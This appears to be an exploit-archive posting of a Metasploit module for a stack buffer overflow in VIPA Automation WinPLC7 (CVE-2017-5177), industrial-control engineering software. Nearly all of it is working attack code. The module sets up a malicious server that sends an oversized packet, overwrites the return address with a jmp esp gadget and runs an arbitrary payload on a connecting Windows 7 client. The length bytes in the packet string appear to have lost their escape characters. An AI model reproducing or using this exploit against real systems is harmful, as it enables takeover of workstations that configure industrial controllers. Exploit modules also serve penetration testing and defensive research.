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VIPA Automation WinPLC7 5.0.45.5921 Buffer Overflow

Posted on 15 September 2017

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'VIPA Authomation WinPLC7 recv Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow found in VIPA
Automation WinPLC7 <= 5.0.45.5921. The overflow is triggered when
WinPLC7 connects to a remote server and accepts a malicious packet.
The first 2 bytes of this packet are read in and used as the size
value for a later recv function. If a size value of sufficiently
large size is supplied a stack buffer overflow will occur
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'ZDI', '17-112' ],
[ 'CVE', '2017-5177' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-054-01' ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows 7 EN',
{
# ws7v5.exe
# jmp esp
'Ret' => 0x00422354
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 28 2017'))

register_options(
[
OptPort.new('SRVPORT', [ true, "The port to listen on", 7777])
], self.class)
end

def on_client_data(client)
p = payload.encoded

pkt = "x13x88x00x00x00" # len
pkt += Rex::Text.pattern_create(5000)

pkt[848, 4] = [target.ret].pack('V')
pkt[852, p.length] = p

client.put(pkt)
handler
service.close_client(client)
end

end

 

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